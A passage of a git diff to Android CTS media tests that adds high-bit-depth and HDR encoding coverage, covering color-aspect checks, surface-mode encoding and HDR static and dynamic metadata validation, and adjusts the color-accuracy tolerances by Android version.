 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 @RunWith(Parameterized.class)
 public class EncodeDecodeAccuracyTest extends CodecDecoderTestBase {
@@ -49,14 +55,11 @@
     // The bitrates are configured to large values. The content has zero motion, so in-time the
     // qp of the encoded clips shall drop down to < 10. Further the color bands are aligned to 2,
     // so from downsampling rgb24 to yuv420p, even if bilinear filters are used as opposed to
-    // skipping samples, we may not see large color loss. Hence allowable tolerance is kept to 8.
-    // until QP stabilizes, the tolerance is set at 10.
-
-    // TODO (b/193192195) Initial delta values used in the tests were 7 and 5, but were increased
-    // to 10 and 8, as tests on emulator showed a higher delta. So the allowed delta values are
-    // increased for now
-    private final int TRANSIENT_STATE_COLOR_DELTA = 10;
-    private final int STEADY_STATE_COLOR_DELTA = 8;
+    // skipping samples, we may not see large color loss. Hence allowable tolerance is kept to 5.
+    // until QP stabilizes, the tolerance is set at 7. For devices upgrading to T, thresholds are
+    // relaxed to 8 and 10.
+    private final int TRANSIENT_STATE_COLOR_DELTA = FIRST_SDK_IS_AT_LEAST_T ? 7: 10;
+    private final int STEADY_STATE_COLOR_DELTA = FIRST_SDK_IS_AT_LEAST_T ? 5: 8;
     private final int[][] mColorBars = new int[][]{
             {66, 133, 244},
             {219, 68, 55},
@@ -81,6 +84,7 @@
     private final int mRange;
     private final int mStandard;
     private final int mTransferCurve;
+    private final boolean mUseHighBitDepth;
 
     private final CodecAsyncHandler mAsyncHandleEncoder;
     private MediaCodec mEncoder;
@@ -108,7 +112,8 @@
     private int mTrackID = -1;
 
     public EncodeDecodeAccuracyTest(String encoder, String mime, int width, int height,
-            int frameRate, int bitrate, int range, int standard, int transfer) {
+            int frameRate, int bitrate, int range, int standard, int transfer,
+            boolean useHighBitDepth) {
         super(null, mime, null);
         mCompName = encoder;
         mMime = mime;
@@ -119,6 +124,7 @@
         mRange = range;
         mStandard = standard;
         mTransferCurve = transfer;
+        mUseHighBitDepth = useHighBitDepth;
         mAsyncHandleEncoder = new CodecAsyncHandler();
         mLatency = 0;
         mReviseLatency = false;
@@ -131,18 +137,42 @@
         xOffset = mColorBarWidth >> 2;
     }
 
-    @Parameterized.Parameters(name = "{index}({0}_{1}_{6}_{7}_{8})")
+    @Before
+    public void setUp() throws IOException {
+        if (mUseHighBitDepth) {
+            assumeTrue("Codec doesn't support ABGR2101010",
+                    hasSupportForColorFormat(mCompName, mMime, COLOR_Format32bitABGR2101010));
+            assumeTrue("Codec doesn't support high bit depth profile encoding",
+                    doesCodecSupportHDRProfile(mCompName, mMime));
+        }
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}_{1}_{6}_{7}_{8}_{9})")
     public static Collection<Object[]> input() {
         final boolean isEncoder = true;
         final boolean needAudio = false;
         final boolean needVideo = true;
         final List<Object[]> baseArgsList = Arrays.asList(new Object[][]{
-                // "video/*", width, height, framerate, bitrate, range, standard, transfer
+                // "video/*", width, height, framerate, bitrate, range, standard, transfer,
+                // useHighBitDepth
                 {720, 480, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
                         MediaFormat.COLOR_STANDARD_BT601_NTSC,
-                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO, false},
                 {720, 576, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
-                        MediaFormat.COLOR_STANDARD_BT601_PAL, MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                        MediaFormat.COLOR_STANDARD_BT601_PAL, MediaFormat.COLOR_TRANSFER_SDR_VIDEO,
+                        false},
+                {720, 480, 30, 3000000, MediaFormat.COLOR_RANGE_FULL,
+                    MediaFormat.COLOR_STANDARD_BT2020,
+                    MediaFormat.COLOR_TRANSFER_ST2084, true},
+
+                // TODO (b/235954984) Some devices do not support following in h/w encoders
+                // Add more combinations as required once the encoders support these
+                /*
+                {720, 480, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
+                    MediaFormat.COLOR_STANDARD_BT2020, MediaFormat.COLOR_TRANSFER_ST2084, true},
+                {720, 480, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
+                    MediaFormat.COLOR_STANDARD_BT709, MediaFormat.COLOR_TRANSFER_SDR_VIDEO, true},
+                */
                 // TODO (b/186511593)
                 /*
                 {1280, 720, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
@@ -180,8 +210,8 @@
         final List<Object[]> exhaustiveArgsList = new ArrayList<>();
         for (String mime : mimes) {
             for (Object[] obj : baseArgsList) {
-                exhaustiveArgsList .add(new Object[]{mime, obj[0], obj[1], obj[2], obj[3], obj[4],
-                        obj[5], obj[6]});
+                exhaustiveArgsList.add(new Object[]{mime, obj[0], obj[1], obj[2], obj[3], obj[4],
+                        obj[5], obj[6], obj[7]});
             }
         }
         return CodecTestBase.prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo,
@@ -212,7 +242,7 @@
         }
         mInpSurface = mEncoder.createInputSurface();
         assertTrue("Surface is not valid", mInpSurface.isValid());
-        mEGLWindowInpSurface = new EGLWindowSurface(mInpSurface);
+        mEGLWindowInpSurface = new EGLWindowSurface(mInpSurface, mUseHighBitDepth);
         if (ENABLE_LOGS) {
             Log.v(LOG_TAG, "codec configured");
         }
@@ -364,8 +394,9 @@
     boolean isColorClose(int actual, int expected) {
         int delta = Math.abs(actual - expected);
         if (delta > mLargestColorDelta) mLargestColorDelta = delta;
-        return (delta <= (mOutputCount >= STEADY_STATE_FRAME_INDEX ? STEADY_STATE_COLOR_DELTA :
-                TRANSIENT_STATE_COLOR_DELTA));
+        int maxAllowedDelta = (mOutputCount >= STEADY_STATE_FRAME_INDEX ? STEADY_STATE_COLOR_DELTA :
+                TRANSIENT_STATE_COLOR_DELTA);
+        return (delta <= maxAllowedDelta);
     }
 
     private boolean checkSurfaceFrame(int frameIndex) {
@@ -374,10 +405,23 @@
         for (int i = 0; i < mColorBars.length; i++) {
             int x = mColorBarWidth * i + xOffset;
             int y = yOffset;
-            GLES20.glReadPixels(x, y, 1, 1, GL10.GL_RGBA, GL10.GL_UNSIGNED_BYTE, pixelBuf);
-            int r = pixelBuf.get(0) & 0xff;
-            int g = pixelBuf.get(1) & 0xff;
-            int b = pixelBuf.get(2) & 0xff;
+            int r, g, b;
+            if (mUseHighBitDepth) {
+                GLES30.glReadPixels(x, y, 1, 1, GL10.GL_RGBA, GLES30.GL_UNSIGNED_INT_2_10_10_10_REV,
+                        pixelBuf);
+                r = (pixelBuf.get(1) & 0x03) << 8 | (pixelBuf.get(0) & 0xFF);
+                g = (pixelBuf.get(2) & 0x0F) << 6 | ((pixelBuf.get(1) >> 2) & 0x3F);
+                b = (pixelBuf.get(3) & 0x3F) << 4 | ((pixelBuf.get(2) >> 4) & 0x0F);
+                // Convert the values to 8 bit as comparisons later are with 8 bit RGB values
+                r = (r + 2) >> 2;
+                g = (g + 2) >> 2;
+                b = (b + 2) >> 2;
+            } else {
+                GLES20.glReadPixels(x, y, 1, 1, GL10.GL_RGBA, GL10.GL_UNSIGNED_BYTE, pixelBuf);
+                r = pixelBuf.get(0) & 0xFF;
+                g = pixelBuf.get(1) & 0xFF;
+                b = pixelBuf.get(2) & 0xFF;
+            }
             if (!(isColorClose(r, mColorBars[i][0]) && isColorClose(g, mColorBars[i][1]) &&
                     isColorClose(b, mColorBars[i][2]))) {
                 Log.w(LOG_TAG, "Bad frame " + frameIndex + " (rect={" + x + " " + y + "} :rgb=" +
@@ -411,7 +455,7 @@
 
     private void decodeElementaryStream(MediaFormat format)
             throws IOException, InterruptedException {
-        mEGLWindowOutSurface = new OutputSurface(mWidth, mHeight);
+        mEGLWindowOutSurface = new OutputSurface(mWidth, mHeight, mUseHighBitDepth);
         mSurface = mEGLWindowOutSurface.getSurface();
         ArrayList<MediaFormat> formats = new ArrayList<>();
         formats.add(format);
@@ -420,6 +464,11 @@
         assertTrue("no suitable codecs found for : " + format.toString(),
                 !listOfDecoders.isEmpty());
         for (String decoder : listOfDecoders) {
+            if (mUseHighBitDepth &&
+                    !hasSupportForColorFormat(decoder, mMime, COLOR_FormatYUVP010) &&
+                    !hasSupportForColorFormat(decoder, mMime, COLOR_Format32bitABGR2101010)) {
+                continue;
+            }
             mCodec = MediaCodec.createByCodecName(decoder);
             configureCodec(format, true, true, false);
             mOutputBuff = new OutputManager();
diff --git a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
index 7a9ce5e..72e4765 100644
--- a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
@@ -17,10 +17,14 @@
 package android.mediav2.cts;
 
 import android.media.MediaCodec;
+import android.media.MediaCodecList;
 import android.media.MediaFormat;
 import android.media.MediaMuxer;
+import android.opengl.GLES20;
 import android.os.Build;
 import android.util.Log;
+import android.util.Pair;
+import android.view.Surface;
 
 import androidx.test.filters.SmallTest;
 
@@ -38,6 +42,10 @@
 import java.util.Collection;
 import java.util.List;
 
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface;
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_Format32bitABGR2101010;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
 /**
@@ -50,21 +58,32 @@
     private int mRange;
     private int mStandard;
     private int mTransferCurve;
+    private boolean mUseHighBitDepth;
+    private boolean mSurfaceMode;
+
+    private Surface mInpSurface;
+    private EGLWindowSurface mEGLWindowInpSurface;
     private MediaFormat mConfigFormat;
 
     private MediaMuxer mMuxer;
     private int mTrackID = -1;
 
+    private int mLatency;
+    private boolean mReviseLatency;
+
     private ArrayList<String> mCheckESList = new ArrayList<>();
 
     private static boolean sIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
 
     public EncoderColorAspectsTest(String encoderName, String mime, int width, int height,
-            int range, int standard, int transferCurve) {
+            int range, int standard, int transferCurve, boolean useHighBitDepth,
+            boolean surfaceMode) {
         super(encoderName, mime, new int[]{64000}, new int[]{width}, new int[]{height});
         mRange = range;
         mStandard = standard;
         mTransferCurve = transferCurve;
+        mUseHighBitDepth = useHighBitDepth;
+        mSurfaceMode = surfaceMode;
         mWidth = width;
         mHeight = height;
         setUpParams(1);
@@ -94,7 +113,33 @@
         super.dequeueOutput(bufferIndex, info);
     }
 
-    @Parameterized.Parameters(name = "{index}({0}_{1}_{4}_{5}_{6})")
+    private static void prepareArgsList(List<Object[]> exhaustiveArgsList,
+            List<String> stringArgsList, String[] mediaTypes, int[] ranges, int[] standards,
+            int[] transfers, boolean useHighBitDepth) {
+        // Assuming all combinations are supported by the standard which is true for AVC, HEVC, AV1,
+        // VP8 and VP9.
+        for (String mediaType : mediaTypes) {
+            for (int range : ranges) {
+                for (int standard : standards) {
+                    for (int transfer : transfers) {
+                        String currentObject =
+                                mediaType + "_" + range + "_" + standard + "_" + transfer;
+                        if (!stringArgsList.contains(currentObject)) {
+                            exhaustiveArgsList
+                                    .add(new Object[]{mediaType, 176, 144, range, standard,
+                                            transfer, useHighBitDepth, false});
+                            exhaustiveArgsList
+                                    .add(new Object[]{mediaType, 176, 144, range, standard,
+                                            transfer, useHighBitDepth, true});
+                            stringArgsList.add(currentObject);
+                        }
+                    }
+                }
+            }
+        }
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}_{1}_{4}_{5}_{6}_{7}_{8})")
     public static Collection<Object[]> input() {
         final boolean isEncoder = true;
         final boolean needAudio = false;
@@ -111,35 +156,145 @@
                 UNSPECIFIED,
                 MediaFormat.COLOR_STANDARD_BT709,
                 MediaFormat.COLOR_STANDARD_BT601_PAL,
-                MediaFormat.COLOR_STANDARD_BT601_NTSC,
-                MediaFormat.COLOR_STANDARD_BT2020};
+                MediaFormat.COLOR_STANDARD_BT601_NTSC};
         int[] transfers = {-1,
                 UNSPECIFIED,
                 MediaFormat.COLOR_TRANSFER_LINEAR,
                 MediaFormat.COLOR_TRANSFER_SDR_VIDEO};
-        // TODO: COLOR_TRANSFER_ST2084, COLOR_TRANSFER_HLG are for 10 bit and above. Should these
-        //  be tested as well?
+
+        String[] mediaTypesHighBitDepth = {MediaFormat.MIMETYPE_VIDEO_AVC,
+                MediaFormat.MIMETYPE_VIDEO_HEVC,
+                MediaFormat.MIMETYPE_VIDEO_VP9,
+                MediaFormat.MIMETYPE_VIDEO_AV1};
+        int[] standardsHighBitDepth = {-1,
+                UNSPECIFIED,
+                MediaFormat.COLOR_STANDARD_BT2020};
+        int[] transfersHighBitDepth = {-1,
+                UNSPECIFIED,
+                MediaFormat.COLOR_TRANSFER_HLG,
+                MediaFormat.COLOR_TRANSFER_ST2084};
+
         List<Object[]> exhaustiveArgsList = new ArrayList<>();
-        // Assumes all combinations are supported by the standard
-        for (String mime : mimes) {
-            for (int range : ranges) {
-                for (int standard : standards) {
-                    for (int transfer : transfers) {
-                        exhaustiveArgsList
-                                .add(new Object[]{mime, 176, 144, range, standard, transfer});
-                    }
-                }
-            }
+        List<String> stringArgsList = new ArrayList<>();
+        prepareArgsList(exhaustiveArgsList, stringArgsList, mimes, ranges, standards, transfers,
+                false);
+        // P010 support was added in Android T, hence limit the following tests to Android T and
+        // above
+        if (IS_AT_LEAST_T) {
+            prepareArgsList(exhaustiveArgsList, stringArgsList, mediaTypesHighBitDepth, ranges,
+                    standardsHighBitDepth, transfersHighBitDepth, true);
         }
         return CodecTestBase
                 .prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
     }
+    private long computePresentationTime(int frameIndex) {
+        return frameIndex * 1000000 / mFrameRate;
+    }
+
+    private void generateSurfaceFrame() {
+        GLES20.glViewport(0, 0, mWidth, mHeight);
+        GLES20.glEnable(GLES20.GL_SCISSOR_TEST);
+        GLES20.glClearColor(128.0f, 128.0f, 128.0f, 1.0f);
+        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+    }
+
+    private void tryEncoderOutput(long timeOutUs) throws InterruptedException {
+        if (!mAsyncHandle.hasSeenError() && !mSawOutputEOS) {
+            int retry = 0;
+            while (mReviseLatency) {
+                if (mAsyncHandle.hasOutputFormatChanged()) {
+                    mReviseLatency = false;
+                    int actualLatency = mAsyncHandle.getOutputFormat()
+                            .getInteger(MediaFormat.KEY_LATENCY, mLatency);
+                    if (mLatency < actualLatency) {
+                        mLatency = actualLatency;
+                        return;
+                    }
+                } else {
+                    if (retry > RETRY_LIMIT) {
+                        throw new InterruptedException(
+                                "did not receive output format changed for encoder after " +
+                                        Q_DEQ_TIMEOUT_US * RETRY_LIMIT + " us");
+                    }
+                    Thread.sleep(Q_DEQ_TIMEOUT_US / 1000);
+                    retry++;
+                }
+            }
+            Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandle.getOutput();
+            if (element != null) {
+                dequeueOutput(element.first, element.second);
+            }
+        }
+    }
+
+    void queueEOS() throws InterruptedException {
+        if (!mSurfaceMode) {
+            super.queueEOS();
+        } else {
+            if (!mAsyncHandle.hasSeenError() && !mSawInputEOS) {
+                mCodec.signalEndOfInputStream();
+                mSawInputEOS = true;
+                if (ENABLE_LOGS) Log.d(LOG_TAG, "signalled end of stream");
+            }
+        }
+    }
+
+    void doWork(int frameLimit) throws IOException, InterruptedException {
+        if (!mSurfaceMode) {
+            super.doWork(frameLimit);
+        } else {
+            while (!mAsyncHandle.hasSeenError() && !mSawInputEOS &&
+                    mInputCount < frameLimit) {
+                if (mInputCount - mOutputCount > mLatency) {
+                    tryEncoderOutput(CodecTestBase.Q_DEQ_TIMEOUT_US);
+                }
+                mEGLWindowInpSurface.makeCurrent();
+                generateSurfaceFrame();
+                mEGLWindowInpSurface
+                        .setPresentationTime(computePresentationTime(mInputCount) * 1000);
+                if (ENABLE_LOGS) Log.d(LOG_TAG, "inputSurface swapBuffers");
+                mEGLWindowInpSurface.swapBuffers();
+                mInputCount++;
+            }
+        }
+    }
 
     @SmallTest
     @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
     public void testColorAspects() throws IOException, InterruptedException {
         Assume.assumeTrue("Test introduced with Android 11", sIsAtLeastR);
-        setUpSource(mInputFile);
+        if (mSurfaceMode) {
+            Assume.assumeTrue("Surface mode tests are limited to devices launching with Android T",
+                    FIRST_SDK_IS_AT_LEAST_T);
+        }
+
+        if (mUseHighBitDepth) {
+            // Check if encoder is capable of supporting HDR profiles.
+            // Previous check doesn't verify this as profile isn't set in the format
+            Assume.assumeTrue(mCodecName + " doesn't support HDR encoding",
+                    CodecTestBase.doesCodecSupportHDRProfile(mCodecName, mMime));
+
+            // Encoder surface mode tests are to be enabled only if an encoder supports
+            // COLOR_Format32bitABGR2101010
+            if (mSurfaceMode) {
+                Assume.assumeTrue(mCodecName + " doesn't support RGBA1010102",
+                        hasSupportForColorFormat(mCodecName, mMime, COLOR_Format32bitABGR2101010));
+            }
+        }
+
+        if (mSurfaceMode) {
+            mConfigFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatSurface);
+        } else {
+            String inputTestFile = mInputFile;
+            if (mUseHighBitDepth) {
+                Assume.assumeTrue(hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010));
+                mConfigFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010);
+                mBytesPerSample = 2;
+                inputTestFile = INPUT_VIDEO_FILE_HBD;
+            }
+            setUpSource(inputTestFile);
+        }
+
         mOutputBuff = new OutputManager();
         {
             mCodec = MediaCodec.createByCodecName(mCodecName);
@@ -156,13 +311,25 @@
             if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP8) ||
                     mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
                 muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM;
-                tmpFile = File.createTempFile("tmp", ".webm");
+                tmpFile = File.createTempFile("tmp" + (mUseHighBitDepth ? "10bit" : ""), ".webm");
             } else {
                 muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4;
-                tmpFile = File.createTempFile("tmp", ".mp4");
+                tmpFile = File.createTempFile("tmp" + (mUseHighBitDepth ? "10bit" : ""), ".mp4");
             }
             mMuxer = new MediaMuxer(tmpFile.getAbsolutePath(), muxerFormat);
-            configureCodec(mConfigFormat, true, true, true);
+            // When in surface mode, encoder needs to be configured in async mode
+            boolean isAsync = mSurfaceMode;
+            configureCodec(mConfigFormat, isAsync, true, true);
+
+            if (mSurfaceMode) {
+                mInpSurface = mCodec.createInputSurface();
+                assertTrue("Surface is not valid", mInpSurface.isValid());
+                mEGLWindowInpSurface = new EGLWindowSurface(mInpSurface, mUseHighBitDepth);
+                if (mCodec.getInputFormat().containsKey(MediaFormat.KEY_LATENCY)) {
+                    mReviseLatency = true;
+                    mLatency = mCodec.getInputFormat().getInteger(MediaFormat.KEY_LATENCY);
+                }
+            }
             mCodec.start();
             doWork(4);
             queueEOS();
@@ -175,6 +342,16 @@
                 mMuxer.release();
                 mMuxer = null;
             }
+
+            if (mEGLWindowInpSurface != null) {
+                mEGLWindowInpSurface.release();
+                mEGLWindowInpSurface = null;
+            }
+            if (mInpSurface != null) {
+                mInpSurface.release();
+                mInpSurface = null;
+            }
+
             assertTrue(log + "unexpected error", !mAsyncHandle.hasSeenError());
             assertTrue(log + "no input sent", 0 != mInputCount);
             assertTrue(log + "output received", 0 != mOutputCount);
@@ -185,19 +362,25 @@
             mCodec.release();
 
             // verify if the muxed file contains color aspects as expected
-            CodecDecoderTestBase cdtb = new CodecDecoderTestBase(null, mMime, null);
+            MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+            String decoder = codecList.findDecoderForFormat(mConfigFormat);
+            assertNotNull("Device advertises support for encoding " + mConfigFormat.toString() +
+                    " but not decoding it", decoder);
+            CodecDecoderTestBase cdtb = new CodecDecoderTestBase(decoder, mMime,
+                    tmpFile.getAbsolutePath());
             String parent = tmpFile.getParent();
             if (parent != null) parent += File.separator;
             else parent = "";
-            cdtb.validateColorAspects(null, parent, tmpFile.getName(), mRange, mStandard,
+            cdtb.validateColorAspects(decoder, parent, tmpFile.getName(), mRange, mStandard,
                     mTransferCurve, false);
 
             // if color metadata can also be signalled via elementary stream then verify if the
             // elementary stream contains color aspects as expected
             if (mCheckESList.contains(mMime)) {
-                cdtb.validateColorAspects(null, parent, tmpFile.getName(), mRange, mStandard,
+                cdtb.validateColorAspects(decoder, parent, tmpFile.getName(), mRange, mStandard,
                         mTransferCurve, true);
             }
+            tmpFile.delete();
         }
     }
 }
diff --git a/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java b/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java
new file mode 100644
index 0000000..26c6eb5
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java
@@ -0,0 +1,216 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import android.media.MediaMuxer;
+import android.os.Build;
+import android.os.Bundle;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Assume;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.File;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
+import static android.media.MediaCodecInfo.CodecProfileLevel.*;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * Test to validate hdr static and dynamic metadata in encoders
+ */
+@RunWith(Parameterized.class)
+// P010 support was added in Android T, hence limit the following tests to Android T and above
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu")
+public class EncoderHDRInfoTest extends CodecEncoderTestBase {
+    private static final String LOG_TAG = EncoderHDRInfoTest.class.getSimpleName();
+    private MediaMuxer mMuxer;
+    private int mTrackID = -1;
+
+    static final ArrayList<String> mCheckESList = new ArrayList<>();
+
+    static {
+        mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
+        mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AVC);
+        mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
+    }
+
+    public EncoderHDRInfoTest(String encoderName, String mediaType, int bitrate, int width,
+            int height, boolean testDynamicMetadata) {
+        super(encoderName, mediaType, new int[]{bitrate}, new int[]{width}, new int[]{height});
+        mTestDynamicMetadata = testDynamicMetadata;
+    }
+
+    void enqueueInput(int bufferIndex) {
+        if(mTestDynamicMetadata){
+            final Bundle params = new Bundle();
+            byte[] info = loadByteArrayFromString(HDR_DYNAMIC_INFO[mInputCount]);
+            params.putByteArray(MediaFormat.KEY_HDR10_PLUS_INFO, info);
+            mCodec.setParameters(params);
+            if (mInputCount >= HDR_DYNAMIC_INFO.length) {
+                mSawInputEOS = true;
+            }
+        }
+        super.enqueueInput(bufferIndex);
+    }
+    void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
+        MediaFormat bufferFormat = mCodec.getOutputFormat(bufferIndex);
+        if (info.size > 0) {
+            ByteBuffer buf = mCodec.getOutputBuffer(bufferIndex);
+            if (mMuxer != null) {
+                if (mTrackID == -1) {
+                    mTrackID = mMuxer.addTrack(bufferFormat);
+                    mMuxer.start();
+                }
+                mMuxer.writeSampleData(mTrackID, buf, info);
+            }
+        }
+        super.dequeueOutput(bufferIndex, info);
+        // verify if the out fmt contains HDR Dynamic metadata as expected
+        if (mTestDynamicMetadata && mOutputCount > 0) {
+            validateHDRDynamicMetaData(bufferFormat,
+                    ByteBuffer.wrap(loadByteArrayFromString(HDR_DYNAMIC_INFO[mOutputCount - 1])));
+        }
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}_{1})")
+    public static Collection<Object[]> input() {
+        final boolean isEncoder = true;
+        final boolean needAudio = false;
+        final boolean needVideo = true;
+
+        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+                {MediaFormat.MIMETYPE_VIDEO_AV1, 512000, 352, 288, false},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, 512000, 352, 288, false},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, 512000, 352, 288, false},
+
+                {MediaFormat.MIMETYPE_VIDEO_AV1, 512000, 352, 288, true},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, 512000, 352, 288, true},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, 512000, 352, 288, true},
+        });
+
+        return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
+    }
+
+    @SmallTest
+    @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
+    public void testHDRMetadata() throws IOException, InterruptedException {
+        int profile;
+        setUpParams(1);
+        MediaFormat format = mFormats.get(0);
+        final ByteBuffer hdrStaticInfo = ByteBuffer.wrap(loadByteArrayFromString(HDR_STATIC_INFO));
+        if (mTestDynamicMetadata) {
+            profile = mProfileHdr10PlusMap.getOrDefault(mMime, new int[]{-1})[0];
+        } else {
+            profile = mProfileHdr10Map.getOrDefault(mMime, new int[]{-1})[0];
+        }
+        format.setInteger(MediaFormat.KEY_PROFILE, profile);
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010);
+        format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
+        format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT2020);
+        format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_ST2084);
+        format.setByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, hdrStaticInfo);
+        mFormats.clear();
+        mFormats.add(format);
+        Assume.assumeTrue(mCodecName + " does not support this HDR profile",
+                areFormatsSupported(mCodecName, mMime, mFormats));
+        Assume.assumeTrue(mCodecName + " does not support color format COLOR_FormatYUVP010",
+                hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010));
+        mBytesPerSample = 2;
+        setUpSource(INPUT_VIDEO_FILE_HBD);
+        mOutputBuff = new OutputManager();
+        mCodec = MediaCodec.createByCodecName(mCodecName);
+        mOutputBuff.reset();
+        String log = String.format("format: %s \n codec: %s:: ", format, mCodecName);
+        File tmpFile;
+        int muxerFormat;
+        if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
+            muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM;
+            tmpFile = File.createTempFile("tmp10bit", ".webm");
+        } else {
+            muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4;
+            tmpFile = File.createTempFile("tmp10bit", ".mp4");
+        }
+        mMuxer = new MediaMuxer(tmpFile.getAbsolutePath(), muxerFormat);
+        configureCodec(format, true, true, true);
+        mCodec.start();
+        doWork(4);
+        queueEOS();
+        waitForAllOutputs();
+        if (mTrackID != -1) {
+            mMuxer.stop();
+            mTrackID = -1;
+        }
+        if (mMuxer != null) {
+            mMuxer.release();
+            mMuxer = null;
+        }
+        assertTrue(log + "unexpected error", !mAsyncHandle.hasSeenError());
+        assertTrue(log + "no input sent", 0 != mInputCount);
+        assertTrue(log + "output received", 0 != mOutputCount);
+
+        MediaFormat fmt = mCodec.getOutputFormat();
+        mCodec.stop();
+        mCodec.release();
+
+        // verify if the out fmt contains HDR Static metadata as expected
+        validateHDRStaticMetaData(fmt, hdrStaticInfo);
+
+        // verify if the muxed file contains HDR metadata as expected
+        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        String decoder = codecList.findDecoderForFormat(format);
+        assertNotNull("Device advertises support for encoding " + format.toString() +
+                " but not decoding it", decoder);
+        CodecDecoderTestBase cdtb =
+                new CodecDecoderTestBase(decoder, mMime, tmpFile.getAbsolutePath());
+        String parent = tmpFile.getParent();
+        if (parent != null) parent += File.separator;
+        else parent = "";
+        cdtb.validateHDRStaticMetaData(parent, tmpFile.getName(), hdrStaticInfo, false);
+        if (mTestDynamicMetadata) {
+            cdtb.validateHDRDynamicMetaData(parent, tmpFile.getName(), false);
+        }
+
+        // if HDR static metadata can also be signalled via elementary stream then verify if
+        // the elementary stream contains HDR static data as expected
+        if (mCheckESList.contains(mMime)) {
+            cdtb.validateHDRStaticMetaData(parent, tmpFile.getName(), hdrStaticInfo, true);
+
+            // since HDR static metadata is signalled via elementary stream then verify if
+            // the elementary stream contains HDR static data as expected
+            if (mTestDynamicMetadata) {
+                cdtb.validateHDRDynamicMetaData(parent, tmpFile.getName(), true);
+            }
+        }
+
+        tmpFile.delete();
+    }
+}
diff --git a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
index f24a4b1..c196d6e 100644
--- a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
